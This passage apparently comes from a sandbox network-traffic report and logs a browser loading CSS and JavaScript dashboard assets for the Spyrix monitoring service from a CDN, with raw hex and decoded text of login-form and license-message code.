94 15 4e 01 f0 16 b9 e9 8f df a1 71 aa 64 5f 04 78 57 d3 Data Ascii: gc*duD=i)-to2<I9GP4a0l~<uSDWyVL2tYbkIvUtE+[!k)uu}Z0SsSk(:351H#1j0^5f.0"4@+X8`X=0vNqd_xW
2024-10-02 04:11:46 UTC	2043	IN	Data Raw: 6a df 41 0c 62 4f da c6 34 57 55 8e 69 69 3b fe 1f a6 45 2b 0f 58 06 5c 0e a7 d1 f8 0f e4 31 0d 33 b2 07 f5 6a 42 f1 89 9a 23 34 55 55 8d 69 6e 3b d1 f9 96 f5 e1 77 7e bf cb e9 f4 3b fd df 01 f6 f5 15 7c a0 73 73 9e a9 fa 7d 2f cf 9a 20 2b fd 72 52 d6 80 ac b4 7c 6f d6 95 1b b5 f9 75 d2 cc 15 4c bc c5 3d 25 5f a7 c4 c0 08 52 32 ae f1 74 fd 77 b2 13 86 61 5a b4 ed 5b ab 1c 9b dd 9a 63 0b 7c 0b 24 42 96 07 b9 13 7f db 37 c5 f1 cc 7f f2 42 55 82 29 3f 6c 49 96 3c cc 00 6b b0 22 b4 30 df 2d e3 ba ad da a2 44 5d 7a 23 eb eb cd 5d c1 27 65 37 c7 86 e2 d4 1a 37 7d 2b 5f be c9 82 ab 21 56 62 a5 c1 0c 31 3b c3 aa 2e 89 07 b6 43 9d 4f 25 6f aa b4 dd 55 6e 7c 65 43 92 9c 2e bb c1 e8 35 fb 6b 60 05 02 33 c0 1c 8b d7 6c 4c cf 31 65 97 57 16 14 6d 9a 00 b7 ad 2d 39 96 Data Ascii: jAbO4WUii;E+X\13jB#4UUin;w~;\|ss}/ +rR\|ouL=%_R2twaZ[c\|$B7BU)?lI<k"0-D]z#]'e77}+_!Vb1;.CO%oUn\|eC.5k`3lL1eWm-9
2024-10-02 04:11:46 UTC	4096	IN	Data Raw: a3 9c 78 3d ee e6 5f 33 a8 cc df 44 8e cc 1c cf 49 2c a4 25 37 c4 f7 ad 23 c7 34 68 b2 68 63 78 49 f1 0b 2a 56 3c 07 e3 ae 1d 71 93 cc 36 8d 48 6c f2 73 00 10 3a 37 9f eb d5 7d b2 22 30 04 d1 11 6b 07 16 64 3b bc 63 9c ac 74 65 dc 6b dd 3b 2d ba 29 7a c2 f7 08 ae 7f fd ae 6a e0 b5 24 cd 2d 4c 0a 99 70 44 c5 c2 12 63 4d 6d 06 a3 27 c7 f6 32 16 63 e8 3d 59 2b e4 a1 76 ac e0 5c 6a be 01 29 14 b3 0d 5e f7 ec 19 7c 82 99 95 0f 1d d1 4c 06 87 40 87 8d 69 9e e9 45 e8 a1 0b c7 7f 96 ac 2f a5 7e 09 00 25 ad b5 62 82 41 fb e8 87 6a be a2 21 1a 00 c8 fc b3 fe ad f3 9b 75 e9 04 38 b1 6c fd 93 f8 8d 03 65 89 08 0c f1 8b b7 17 55 ac 03 be 88 90 79 1d 0b 8a 7c 19 06 08 92 04 66 e6 53 e6 ce 2d f3 22 70 89 6f 56 3e 79 f6 bc 32 3d 08 43 d4 e2 05 45 e5 eb e8 91 cf ca e7 17 Data Ascii: x=_3DI,%7#4hhcxI*V<q6Hls:7}"0kd;ctek;-)zj$-LpDcMm'2c=Y+v\j)^\|L@iE/~%bAj!u8leUy\|fS-"poV>y2=CE
2024-10-02 04:11:46 UTC	4096	IN	Data Raw: 71 64 d8 70 53 52 10 0b 00 2b 66 55 ed 3f a0 37 03 56 22 c8 8a f1 af 29 b1 c8 aa 17 81 f0 09 e3 66 8e b5 e3 f6 31 cf a4 70 c4 7d d3 e0 ef 53 c3 d3 da 86 2c 53 7f 13 c0 8a 7d 7d 5b b9 1b 9f 3d 21 78 54 f0 79 52 a3 bd 75 69 57 95 d0 d1 b1 b2 67 45 14 0e 99 49 f8 3f 6a c5 ca dd fd 2e 41 e5 e1 65 b6 d6 46 de a7 60 4d 6f f6 04 ca a7 59 09 e9 5f 63 76 2c 71 f0 a2 ed 54 39 15 18 4a 84 fe be ad f3 5b 52 64 04 38 b1 6d fd 93 f8 be b4 1e b3 66 3e 9c 4d 8b 2e f9 e3 52 54 ed f0 49 ea f6 f9 c0 58 9d 60 63 93 0d a6 43 20 1d b6 ed 50 18 62 82 2c 3a 83 f0 db 8a 2e 58 1a 6d 76 ad 6b 93 04 50 74 fd cc 7e 68 c8 ba 63 2b bf 84 cc 32 83 4b 69 32 da 7d 7e 87 9d a0 f9 51 78 7e 89 e5 ff 09 e4 95 1b 4c 69 1e 41 52 ae dd a8 8f 2b b4 a6 03 f2 fa a9 f4 18 52 3f 8d 2b 86 5a 9f 35 16 Data Ascii: qdpSR+fU?7V")f1p}S,S}}[=!xTyRuiWgEI?j.AeF`MoY_cv,qT9J[Rd8mf>M.RTIX`cC Pb,:.XmvkPt~hc+2Ki2}~Qx~LiAR+R?+Z5
2024-10-02 04:11:46 UTC	4096	IN	Data Raw: ac 11 35 d7 4e 14 99 55 0d 76 65 42 50 6b ca e2 ff 72 ab 3d d9 fe 5a f8 7c 1f f9 fa a2 8a 9c db a6 93 ad 03 30 ee b7 ab 89 16 41 4e a8 22 93 36 77 ed 0d d3 39 55 c7 a2 d7 7e 2a df 5a 09 b1 81 a6 61 e8 37 93 f6 b8 b7 51 34 25 b7 de b8 b8 23 ec 19 46 a3 77 08 fe 8a 81 89 26 6a 51 f3 a1 1f 75 27 d9 e3 a9 f1 63 c2 35 71 27 7d b6 71 dd 9d c5 dc 8e 27 f2 2d 1f 32 e4 6b 94 cc 19 f7 d3 66 e2 ff 65 dc a5 f7 eb 04 7a bc 7f 82 3a bd a5 86 83 f8 ea 71 0b 73 e0 93 92 f5 c2 58 20 8e 3d dd f0 65 4b 9c 47 28 a2 7a c6 6d cd a4 4c 9f 46 5d b6 ec 66 56 bc 50 98 11 f7 7b ed b2 aa e9 4b e2 b6 4c 1f 5f 2a 4b 24 8a f3 cc 2d 59 4a 5d 32 2a 6e fa f4 1b 99 1d 2c f3 ff be 6c da 84 e7 61 69 96 4c e4 53 28 4c d4 2c f9 45 a9 5b 26 0e 40 fc 4d 24 03 34 c3 10 1b ac 84 ed 40 87 57 ef a6 Data Ascii: 5NUveBPkr=Z\|0AN"6w9U~Za7Q4%#Fw&jQu'c5q'}q'-2kfez:qsX =eKG(zmLF]fVP{KL_K$-YJ]2*n,laiLS(L,E[&@M$4@W
2024-10-02 04:11:46 UTC	4096	IN	Data Raw: 42 c0 e8 74 10 8f 1f 70 45 7d 5c 4f dc 07 e8 42 dd 78 a3 e3 3f 54 38 26 31 0e 7c 4c 3f cb 0b d6 ce 84 de b3 45 c6 5a 9a ea 4d 7f 32 cb cc 8b f3 6a 99 7f 9a ea 3f 36 ea d8 88 ed 1e b6 1c 30 1b ff 1c 4b 65 8c e4 80 60 13 39 a6 7c fd ec 2f 3a 41 e9 f1 57 55 98 94 c5 a4 16 9d a8 23 c6 9e 01 fc 83 2c eb 5c 2b 84 a5 12 a3 68 83 60 76 d4 ab be 11 79 e0 03 e2 0f 22 2b ff 7d 05 69 1e b8 4b 89 81 a4 8c d7 22 d1 6b 5e 86 25 f1 12 6e e0 49 42 5d 1e 9f 9f 57 97 70 07 80 f0 90 32 90 2f 27 31 57 4e 5f 48 fd 06 13 26 bb cb 0b fc 70 40 80 c5 f0 c5 43 5a 0a 14 df 63 9d 46 22 4d f5 d1 46 91 c8 a3 8e 93 52 29 89 9c 1c c0 ff 9c ce fe 6b 50 ef f6 56 4c a7 49 a4 2d 94 b6 3d 3d e6 35 00 9e 23 54 be 5a df e6 7f f3 cd 37 eb 91 b8 97 04 3c 0d 1b f1 60 5e 5f 8c 45 15 13 1d eb 55 e1 Data Ascii: BtpE}\OBx?T8&1\|L?EZM2j?60Ke`9\|/:AWU#,\+h`vy"+}iK"k^%nIB]Wp2/'1WN_H&p@CZcF"MFR)kPVLI-==5#TZ7<`^_EU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49745	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	574	OUT	GET /dashboard30/assets/Modal-04ffda94.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	301	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: text/css Content-Length: 1513 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-5e9" Cache: HIT X-Cached-Since: 2024-10-02T03:44:03+00:00 X-Node: m9-up-gc42 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	1513	IN	Data Raw: 2e 5f 35 6b 4c 34 54 50 64 44 7b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 7a 2d 6d 6f 64 61 6c 2d 62 61 63 6b 64 72 6f 70 29 7d 2e 65 6f 50 78 2d 58 66 4c 7b 6f 70 61 63 69 74 79 3a 30 7d 2e 2d 75 46 45 45 65 68 62 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 77 69 64 74 68 3a 31 30 30 25 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 7a 2d 6d 6f 64 61 6c 2d 62 61 63 6b 64 72 6f 70 29 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6c 65 66 74 3a 30 3b 74 6f 70 3a 30 3b 6f 70 61 63 69 74 79 3a 31 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 38 30 7d 2e 66 4d 6f 33 5a 56 45 6c 7b 64 69 72 65 63 74 69 6f 6e 3a 72 74 6c 7d 2e 5f 36 73 50 77 61 78 79 43 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 Data Ascii: ._5kL4TPdD{z-index:var(--z-modal-backdrop)}.eoPx-XfL{opacity:0}.-uFEEehb{position:fixed;width:100%;z-index:var(--z-modal-backdrop);height:100%;left:0;top:0;opacity:1;background-color:#00000080}.fMo3ZVEl{direction:rtl}._6sPwaxyC{position:fixed;top:50%;left

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49748	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	574	OUT	GET /dashboard30/assets/Input-34212571.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	303	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: text/css Content-Length: 3065 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-bf9" Cache: STALE X-Cached-Since: 2024-10-01T21:34:52+00:00 X-Node: m9-up-gc97 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	3065	IN	Data Raw: 2e 2d 7a 74 52 79 53 4e 68 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 66 69 74 2d 63 6f 6e 74 65 6e 74 7d 2e 46 74 74 30 43 70 57 51 7b 77 69 64 74 68 3a 32 30 30 70 78 7d 2e 5f 34 61 49 38 41 71 43 48 7b 6f 70 61 63 69 74 79 3a 2e 35 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 57 6e 4e 6f 78 4b 4b 48 7b 77 69 64 74 68 3a 31 30 30 25 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 31 33 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 69 6e 70 75 74 2d 62 6f 72 64 65 72 29 Data Ascii: .-ztRySNh{display:flex;position:relative;flex-direction:column;height:fit-content}.Ftt0CpWQ{width:200px}._4aI8AqCH{opacity:.5;pointer-events:none}.WnNoxKKH{width:100%;font-size:15px;padding:10px 13px;border-radius:10px;border:1px solid var(--input-border)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49741	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	626	OUT	GET /dashboard30/assets/en-5393c481.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	392	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 1098 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-44a" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T20:47:24+00:00 X-Node: m9-up-gc233 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	1098	IN	Data Raw: 63 6f 6e 73 74 20 6f 3d 22 63 6f 6e 76 65 6e 69 65 6e 74 22 2c 65 3d 22 4d 61 69 6e 22 2c 6e 3d 7b 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 6c 69 63 65 6e 73 65 20 70 65 72 69 6f 64 20 68 61 73 20 65 78 70 69 72 65 64 22 2c 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 3a 22 54 68 65 20 74 72 69 61 6c 20 70 65 72 69 6f 64 20 69 73 20 65 78 70 69 72 65 64 22 2c 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 3a 22 59 6f 75 72 20 64 61 74 61 20 69 73 20 73 61 66 65 22 2c 22 50 6c 65 61 73 65 20 70 75 72 63 68 61 73 65 20 61 20 6c 69 63 65 6e 73 65 20 74 6f 20 61 63 63 65 73 73 20 79 6f 75 72 20 64 61 74 61 22 3a 22 50 6c 65 61 73 65 20 Data Ascii: const o="convenient",e="Main",n={"The license period has expired":"The license period has expired","The trial period is expired":"The trial period is expired","Your data is safe":"Your data is safe","Please purchase a license to access your data":"Please

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49746	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	626	OUT	GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 774 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-306" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T17:24:54+00:00 X-Node: m9-up-gc229 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	774	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 52 65 67 69 73 74 65 72 22 2c 6f 3d 22 45 6d 61 69 6c 22 2c 74 3d 22 50 61 73 73 77 6f 72 64 22 2c 73 3d 22 4c 6f 67 69 6e 22 2c 61 3d 7b 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 3a 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 2c 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 3a 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 2c 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 3a 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 2c 52 65 67 69 73 74 65 72 3a 65 2c 45 6d 61 69 6c 3a 6f 2c 50 61 73 73 77 6f 72 64 3a 74 2c 4c 6f 67 69 6e 3a 73 2c 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 3a 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 2c 22 54 68 69 73 20 65 6d 61 69 6c 20 63 61 6e 6e 6f 74 20 62 65 20 75 73 Data Ascii: const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49742	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	554	OUT	GET /dashboard30/assets/index-1178777c.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5163 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-142b" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:11:42+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	3705	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 46 2c 6f 20 61 73 20 49 2c 62 20 61 73 20 44 2c 69 20 61 73 20 50 2c 72 20 61 73 20 67 74 2c 6e 20 61 73 20 72 2c 75 20 61 73 20 74 2c 61 75 20 61 73 20 70 74 2c 67 20 61 73 20 48 2c 45 20 61 73 20 5f 74 2c 46 20 61 73 20 66 74 2c 24 20 61 73 20 76 74 2c 44 20 61 73 20 45 74 2c 4d 20 61 73 20 75 2c 63 20 61 73 20 77 2c 70 20 61 73 20 78 2c 52 20 61 73 20 79 2c 73 20 61 73 20 68 74 2c 61 74 20 61 73 20 77 74 2c 68 20 61 73 20 73 2c 79 20 61 73 20 64 2c 61 7a 20 61 73 20 78 74 2c 61 6d 20 61 73 20 79 74 2c 65 20 61 73 20 53 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 61 20 61 73 20 57 2c 75 20 61 73 20 4c 74 2c 62 20 61 73 20 50 74 2c 64 20 61 73 20 42 74 7d 66 Data Ascii: import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}f
2024-10-02 04:11:46 UTC	1458	IN	Data Raw: 2c 38 2c 5b 22 74 65 78 74 22 5d 29 5d 29 2c 5f 3a 31 7d 29 5d 2c 32 29 2c 50 28 22 66 6f 72 6d 22 2c 7b 63 6c 61 73 73 3a 72 28 5b 74 28 69 29 2e 63 6f 6e 74 65 6e 74 5d 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 66 6f 72 6d 22 2c 6f 6e 4b 65 79 70 72 65 73 73 3a 78 74 28 47 2c 5b 22 65 6e 74 65 72 22 5d 29 7d 2c 5b 73 28 71 2c 7b 63 6c 61 73 73 3a 72 28 5b 74 28 69 29 2e 69 6e 70 75 74 5d 29 2c 76 61 6c 75 65 3a 74 28 67 29 2c 76 61 72 69 61 6e 74 3a 72 74 2e 76 61 6c 75 65 2c 22 61 64 64 69 74 69 6f 6e 61 6c 2d 6d 65 73 73 61 67 65 22 3a 74 28 52 29 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 74 28 61 29 28 22 45 6d 61 69 6c 22 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 65 6d 61 69 6c 22 2c 6f 6e 4f 6e 43 68 61 6e 67 65 3a 51 7d 2c 6e 75 6c Data Ascii: ,8,["text"])]),_:1})],2),P("form",{class:r([t(i).content]),"data-testid":"form",onKeypress:xt(G,["enter"])},[s(q,{class:r([t(i).input]),value:t(g),variant:rt.value,"additional-message":t(R),placeholder:t(a)("Email"),"data-testid":"email",onOnChange:Q},nul

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49743	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	573	OUT	GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 4589 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-11ed" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:11:46 UTC	3705	IN	Data Raw: 69 6d 70 6f 72 74 7b 4a 20 61 73 20 54 2c 24 20 61 73 20 4c 2c 46 20 61 73 20 79 2c 61 47 20 61 73 20 5f 2c 45 20 61 73 20 77 2c 61 4d 20 61 73 20 62 2c 61 41 20 61 73 20 52 2c 63 20 61 73 20 43 2c 70 20 61 73 20 46 2c 61 74 20 61 73 20 63 2c 52 20 61 73 20 4d 2c 61 76 20 61 73 20 66 2c 61 75 20 61 73 20 53 2c 61 77 20 61 73 20 75 2c 61 78 20 61 73 20 68 2c 61 63 20 61 73 20 4e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e 20 6c 74 28 29 7b 76 61 72 20 70 3b 63 6f 6e 73 74 20 74 3d 54 28 29 2c 65 3d 4c 28 29 2c 72 3d 79 28 29 2c 61 3d 5f 28 29 2c 7b 73 65 74 44 65 66 61 75 6c 74 73 3a 6f 7d 3d 77 28 29 2c 73 3d 28 28 70 3d 72 2e 70 72 6f 67 72 61 6d 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 70 Data Ascii: import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p
2024-10-02 04:11:46 UTC	884	IN	Data Raw: 72 69 66 69 63 61 74 69 6f 6e 50 68 6f 6e 65 43 61 6c 6c 22 2c 7b 73 74 61 74 65 3a 28 29 3d 3e 28 7b 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 3a 7b 2e 2e 2e 75 7d 2c 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 3a 7b 2e 2e 2e 75 7d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 66 65 74 63 68 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 2c 66 65 74 63 68 45 72 72 6f 72 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 65 72 72 6f 72 7d 2c 63 68 65 63 6b 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 7d 2c Data Ascii: rificationPhoneCall",{state:()=>({fetchPhoneCallStatus:{...u},checkPhoneCallStatus:{...u}}),getters:{fetchState(t){return t.fetchPhoneCallStatus.state},fetchError(t){return t.fetchPhoneCallStatus.error},checkState(t){return t.checkPhoneCallStatus.state}},

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49744	95.181.182.182	443	2824	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:45 UTC	589	OUT	GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:46 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:46 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 613 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-265" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
